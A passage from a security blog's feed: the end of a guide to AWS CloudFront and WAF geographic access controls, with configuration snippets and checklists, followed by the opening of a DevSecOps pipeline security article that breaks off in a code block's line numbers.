            <span class="sh">'</span><span class="s">EnableAcceptEncodingBrotli</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">EnableAcceptEncodingGzip</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">QueryStringsConfig</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">QueryStringBehavior</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">none</span><span class="sh">'</span>  <span class="c1"># Don't include query strings for geo content
</span>            <span class="p">},</span>
            <span class="sh">'</span><span class="s">HeadersConfig</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">HeaderBehavior</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">whitelist</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">Headers</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                    <span class="sh">'</span><span class="s">CloudFront-Viewer-Country</span><span class="sh">'</span><span class="p">,</span>  <span class="c1"># Essential for geographic logic
</span>                    <span class="sh">'</span><span class="s">Accept-Language</span><span class="sh">'</span>             <span class="c1"># For localization
</span>                <span class="p">]</span>
            <span class="p">},</span>
            <span class="sh">'</span><span class="s">CookiesConfig</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">CookieBehavior</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">none</span><span class="sh">'</span>  <span class="c1"># Exclude cookies for better cache hit ratio
</span>            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">}</span>
    
    <span class="k">return</span> <span class="n">cache_policy</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="best-practices-and-recommendations">Best Practices and Recommendations</h2>

<h3 id="implementation-guidelines">Implementation Guidelines</h3>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Start with Broad Geographic Controls</strong>: Begin with country-level blocking before implementing granular rules</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Use Multiple Data Sources</strong>: Combine CloudFront geo-restriction with WAF geo-matching for redundancy</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Implement Exception Handling</strong>: Always include admin access exceptions and emergency override procedures</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Monitor Compliance Continuously</strong>: Set up automated compliance monitoring and reporting</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Regular Rule Updates</strong>: Schedule regular reviews and updates based on threat intelligence</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Test Geographic Rules</strong>: Validate rules from different geographic locations before production deployment</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Document Business Justification</strong>: Maintain clear documentation of geographic restrictions for audit purposes</li>
</ul>

<h3 id="security-considerations">Security Considerations</h3>

<p><strong>Layered Geographic Defense</strong>: Use both CloudFront geo-restriction and WAF geo-matching for comprehensive protection</p>

<p><strong>VPN and Proxy Detection</strong>: Implement additional controls for VPN/proxy traffic that may bypass geographic restrictions</p>

<p><strong>Emergency Access Procedures</strong>: Maintain documented procedures for emergency access during geographic control issues</p>

<p><strong>Privacy Compliance</strong>: Ensure geographic controls comply with privacy laws in all operating jurisdictions</p>

<p><strong>Regular Testing</strong>: Test geographic controls from different locations and through various access methods</p>

<h3 id="advanced-security-enhancements">Advanced Security Enhancements</h3>

<p><strong>Integration with AWS Security Services</strong>:</p>
<ul>
  <li>Connect with AWS GuardDuty for threat intelligence-based geographic blocking</li>
  <li>Use AWS Security Lake for centralized geographic access analytics</li>
  <li>Integrate with AWS Config for compliance monitoring and drift detection</li>
</ul>

<p><strong>Machine Learning Enhancement</strong>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</pre></td><td class="rouge-code"><pre><span class="k">def</span> <span class="nf">implement_ml_geographic_analysis</span><span class="p">():</span>
    <span class="sh">"""</span><span class="s">
    Use machine learning to optimize geographic access controls
    </span><span class="sh">"""</span>
    <span class="kn">import</span> <span class="n">boto3</span>
    
    <span class="n">comprehend</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">comprehend</span><span class="sh">'</span><span class="p">)</span>
    
    <span class="c1"># Analyze access patterns for anomalies
</span>    <span class="n">analysis_config</span> <span class="o">=</span> <span class="p">{</span>
        <span class="sh">'</span><span class="s">geographic_anomaly_detection</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">model_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">unsupervised_clustering</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">features</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">country_code</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">request_volume</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">time_of_day</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">user_agent</span><span class="sh">'</span><span class="p">],</span>
            <span class="sh">'</span><span class="s">threshold</span><span class="sh">'</span><span class="p">:</span> <span class="mf">0.95</span>
        <span class="p">},</span>
        <span class="sh">'</span><span class="s">threat_prediction</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">model_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">classification</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">features</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">geographic_location</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">request_patterns</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">historical_threats</span><span class="sh">'</span><span class="p">],</span>
            <span class="sh">'</span><span class="s">confidence_threshold</span><span class="sh">'</span><span class="p">:</span> <span class="mf">0.85</span>
        <span class="p">}</span>
    <span class="p">}</span>
    
    <span class="k">return</span> <span class="n">analysis_config</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="advanced-topics">Advanced Topics</h2>

<h3 id="multi-region-geographic-strategy">Multi-Region Geographic Strategy</h3>

<p>Implement geographic controls across multiple AWS regions:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre><span class="c1"># Multi-Region Geographic Control Template</span>
<span class="na">MultiRegionGeographicControl</span><span class="pi">:</span>
  <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::CloudFormation::StackSet</span>
  <span class="na">Properties</span><span class="pi">:</span>
    <span class="na">StackSetName</span><span class="pi">:</span> <span class="s1">'</span><span class="s">multi-region-geographic-control'</span>
    <span class="na">Parameters</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="na">ParameterKey</span><span class="pi">:</span> <span class="s1">'</span><span class="s">Region'</span>
        <span class="na">ParameterValue</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s1">'</span><span class="s">AWS::Region'</span>
    <span class="na">PermissionModel</span><span class="pi">:</span> <span class="s1">'</span><span class="s">SELF_MANAGED'</span>
    <span class="na">Capabilities</span><span class="pi">:</span> <span class="pi">[</span><span class="s1">'</span><span class="s">CAPABILITY_IAM'</span><span class="pi">]</span>
    <span class="na">OperationPreferences</span><span class="pi">:</span>
      <span class="na">RegionConcurrencyType</span><span class="pi">:</span> <span class="s1">'</span><span class="s">PARALLEL'</span>
      <span class="na">MaxConcurrentPercentage</span><span class="pi">:</span> <span class="m">100</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="integration-with-identity-and-access-management">Integration with Identity and Access Management</h3>

<p>Combine geographic controls with IAM policies:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
</pre></td><td class="rouge-code"><pre><span class="p">{</span><span class="w">
  </span><span class="nl">"Version"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2012-10-17"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"Statement"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
    </span><span class="p">{</span><span class="w">
      </span><span class="nl">"Effect"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Deny"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Principal"</span><span class="p">:</span><span class="w"> </span><span class="s2">"*"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Action"</span><span class="p">:</span><span class="w"> </span><span class="s2">"*"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Resource"</span><span class="p">:</span><span class="w"> </span><span class="s2">"*"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Condition"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"StringNotEquals"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
          </span><span class="nl">"aws:RequestedRegion"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"us-east-1"</span><span class="p">,</span><span class="w"> </span><span class="s2">"us-west-2"</span><span class="p">,</span><span class="w"> </span><span class="s2">"eu-west-1"</span><span class="p">]</span><span class="w">
        </span><span class="p">},</span><span class="w">
        </span><span class="nl">"IpAddressNotEquals"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
          </span><span class="nl">"aws:SourceIp"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"203.0.113.0/24"</span><span class="p">,</span><span class="w"> </span><span class="s2">"198.51.100.0/24"</span><span class="p">]</span><span class="w">
        </span><span class="p">}</span><span class="w">
      </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="troubleshooting-common-issues">Troubleshooting Common Issues</h3>

<p><strong>Geographic Rules Not Applied</strong>:</p>
<ul>
  <li>Verify WAF Web ACL is associated with CloudFront distribution</li>
  <li>Check rule priority order and ensure no conflicting rules</li>
  <li>Validate country codes are in ISO 3166-1 alpha-2 format</li>
</ul>

<p><strong>Legitimate Traffic Blocked</strong>:</p>
<ul>
  <li>Review WAF logs to identify blocked legitimate requests</li>
  <li>Implement exception rules for known good IP addresses</li>
  <li>Consider implementing CAPTCHA for suspicious but potentially legitimate traffic</li>
</ul>

<p><strong>High False Positive Rate</strong>:</p>
<ul>
  <li>Analyze geographic access patterns and adjust rules accordingly</li>
  <li>Implement graduated response (rate limiting before blocking)</li>
  <li>Use COUNT mode to test rules before enabling blocking</li>
</ul>

<h2 id="implementation-roadmap">Implementation Roadmap</h2>

<h3 id="phase-1-basic-geographic-controls-week-1-2">Phase 1: Basic Geographic Controls (Week 1-2)</h3>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy CloudFront distribution with basic geo-restriction</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure AWS WAF with basic geographic rules</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Set up CloudWatch monitoring and basic alerting</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Test geographic controls from multiple locations</li>
</ul>

<h3 id="phase-2-advanced-rule-implementation-week-3-4">Phase 2: Advanced Rule Implementation (Week 3-4)</h3>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement context-aware geographic rules</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure admin access exceptions</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Set up compliance monitoring and reporting</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy threat intelligence integration</li>
</ul>

<h3 id="phase-3-automation-and-optimization-week-5-6">Phase 3: Automation and Optimization (Week 5-6)</h3>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement automated rule updates based on threat intelligence</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy cost optimization strategies</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Set up automated compliance reporting</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure advanced monitoring dashboards</li>
</ul>

<h3 id="phase-4-advanced-features-and-integration-week-7-8">Phase 4: Advanced Features and Integration (Week 7-8)</h3>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy Lambda@Edge for advanced geographic logic</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement machine learning-based anomaly detection</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Set up multi-region geographic strategy</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Conduct comprehensive security testing and validation</li>
</ul>

<h2 id="related-articles">Related Articles</h2>

<ul>
  <li><a href="/posts/aws-waf-cloudfront-application-protection/">AWS WAF and CloudFront: Enterprise Application Protection</a></li>
  <li><a href="/posts/implementing-zero-trust-on-aws/">Implementing Zero Trust on AWS</a></li>
  <li><a href="/posts/aws-iam-zero-trust-identity-network-deep-dive/">AWS IAM Zero Trust: Identity and Network Deep Dive</a></li>
  <li><a href="/posts/real-time-ids-using-guardduty/">Real-Time Intrusion Detection Using AWS GuardDuty</a></li>
  <li><a href="/posts/aws-devsecops-pipeline-security-automation-implementation/">AWS DevSecOps Pipeline Security: Complete Automation Implementation</a></li>
</ul>

<h2 id="additional-resources">Additional Resources</h2>

<h3 id="official-documentation">Official Documentation</h3>
<ul>
  <li><a href="https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/georestrictions.html">AWS CloudFront Geo-Restriction Documentation</a></li>
  <li><a href="https://docs.aws.amazon.com/waf/latest/developerguide/waf-rule-statement-type-geo-match.html">AWS WAF v2 Geographic Match Documentation</a></li>
  <li><a href="https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/lambda-at-the-edge.html">CloudFront Lambda@Edge Documentation</a></li>
</ul>

<h3 id="tools-and-frameworks">Tools and Frameworks</h3>
<ul>
  <li><a href="https://aws.amazon.com/solutions/implementations/aws-waf-security-automations/">AWS WAF Security Automations</a> - Advanced security automation solution</li>
  <li><a href="https://www.maxmind.com/en/geoip-databases">MaxMind GeoIP Databases</a> - Geographic IP intelligence for comparison</li>
  <li><a href="https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks">OWASP Geographic Security Guidelines</a> - Security best practices</li>
</ul>

<h3 id="industry-reports-and-research">Industry Reports and Research</h3>
<ul>
  <li><a href="https://www.akamai.com/state-of-the-internet/">Akamai State of the Internet Security Report</a> - Geographic threat landscape analysis</li>
  <li><a href="https://docs.aws.amazon.com/whitepapers/latest/aws-security-best-practices/aws-security-best-practices.html">AWS Security Best Practices Whitepaper</a> - Comprehensive security guidance</li>
  <li><a href="https://gdpr.eu/what-is-gdpr/">Geographic Data Protection Compliance Guide</a> - GDPR and data localization requirements</li>
</ul>

<h3 id="community-resources">Community Resources</h3>
<ul>
  <li><a href="https://aws.amazon.com/developer/community/security/">AWS Security Community Forums</a></li>
  <li><a href="https://www.meetup.com/topics/aws-cloudfront/">CloudFront User Group</a> - Community discussions</li>
  <li><a href="https://reddit.com/r/aws_security">r/aws_security</a> - Reddit community for AWS security discussions</li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>AWS CloudFront geographic access control, combined with AWS WAF geo-matching capabilities, provides enterprise-grade geographic security that scales automatically and integrates seamlessly with other AWS security services. This cloud-native approach eliminates the complexity of managing geographic databases, updating threat intelligence manually, and scaling protection during high-traffic scenarios.</p>

<p>By implementing the comprehensive geographic access control strategy outlined in this guide, organizations can achieve compliance with data localization requirements, reduce attack surface from high-risk geographic regions, and maintain granular control over global content access patterns.</p>

<p>The combination of native CloudFront geo-restriction, advanced WAF geographic rules, threat intelligence automation, and compliance monitoring provides a robust foundation for geographic security that evolves with changing threat landscapes and business requirements.</p>

<p>For personalized guidance on implementing AWS CloudFront geographic access control in your DevSecOps environment, <a href="https://www.linkedin.com/in/jonpricelinux/">connect with Jon Price on LinkedIn</a>.</p>]]></content><author><name>Jon (JR) Price</name></author><category term="AWS" /><category term="Security" /><category term="access-control" /><category term="aws-cloudfront" /><category term="aws-security" /><category term="aws-waf" /><category term="compliance" /><category term="data-sovereignty" /><category term="gdpr" /><category term="geo-restriction" /><category term="geographic-blocking" /><summary type="html"><![CDATA[Cut malicious traffic 45% with AWS CloudFront geo-restriction and WAF geo-matching. Production-ready Terraform configs for GDPR compliance and threat blocking.]]></summary></entry><entry><title type="html">AWS DevSecOps Pipeline Security: Complete Automation Implementation Guide for 2025</title><link href="https://red-team.sh/posts/aws-devsecops-pipeline-security-automation-implementation/" rel="alternate" type="text/html" title="AWS DevSecOps Pipeline Security: Complete Automation Implementation Guide for 2025" /><published>2025-09-29T07:00:00-07:00</published><updated>2025-09-29T07:00:00-07:00</updated><id>https://red-team.sh/posts/aws-devsecops-pipeline-security-automation-implementation</id><content type="html" xml:base="https://red-team.sh/posts/aws-devsecops-pipeline-security-automation-implementation/"><![CDATA[<h2 id="introduction">Introduction</h2>

<p>As organizations accelerate software delivery in 2025, the integration of security into DevOps pipelines has become mission-critical. With 88% of cloud security breaches attributed to human error and the average detection time remaining at 277 days, automated security validation within CI/CD processes represents the most effective defense against modern threats.</p>

<p>This comprehensive guide demonstrates how to implement end-to-end security automation in AWS DevSecOps pipelines, covering everything from infrastructure as code scanning to runtime security monitoring.</p>

<h3 id="current-landscape-statistics">Current Landscape Statistics</h3>

<ul>
  <li><strong>DevSecOps Adoption</strong>: 73% of organizations are actively implementing DevSecOps practices, with security automation being the top priority</li>
  <li><strong>Pipeline Security Gaps</strong>: 67% of organizations lack comprehensive security testing in their CI/CD pipelines</li>
  <li><strong>Vulnerability Detection</strong>: Automated security scanning reduces vulnerability discovery time from weeks to minutes</li>
  <li><strong>Compliance Pressure</strong>: 89% of enterprises require automated compliance validation for regulatory requirements</li>
  <li><strong>Cost of Delayed Security</strong>: Security issues found in production cost 100x more to fix than those caught during development</li>
</ul>

<h2 id="devsecops-pipeline-security-architecture">DevSecOps Pipeline Security Architecture</h2>

<h3 id="core-security-integration-points">Core Security Integration Points</h3>

<p>Modern DevSecOps pipelines must incorporate security at every stage to ensure continuous protection:</p>

<p><img src="/assets/img/diagrams/devsecops-pipeline-security.png" alt="DevSecOps Pipeline Security" class="shadow" w="800" />
<em>DevSecOps pipeline security flow with security gates and controls</em></p>

<h3 id="aws-services-integration">AWS Services Integration</h3>

<p><strong>Core DevSecOps Services</strong>:</p>
<ul>
  <li>AWS CodeCommit for secure source control</li>
  <li>AWS CodeBuild for build automation with security scanning</li>
  <li>AWS CodePipeline for orchestrated security workflows</li>
  <li>AWS CodeDeploy for secure deployment automation</li>
</ul>

<p><strong>Security Integration Services</strong>:</p>
<ul>
  <li>Amazon Inspector for vulnerability assessment</li>
  <li>AWS Security Hub for centralized security findings</li>
  <li>Amazon GuardDuty for runtime threat detection</li>
  <li>AWS Config for compliance validation</li>
</ul>

<p><strong>Container Security</strong>:</p>
<ul>
  <li>Amazon ECR for secure container registry with scanning</li>
  <li>AWS Fargate for secure container runtime</li>
  <li>Amazon EKS with security policy enforcement</li>
</ul>

<h2 id="implementing-security-first-cicd-pipeline">Implementing Security-First CI/CD Pipeline</h2>

<h3 id="complete-codepipeline-with-integrated-security">Complete CodePipeline with Integrated Security</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
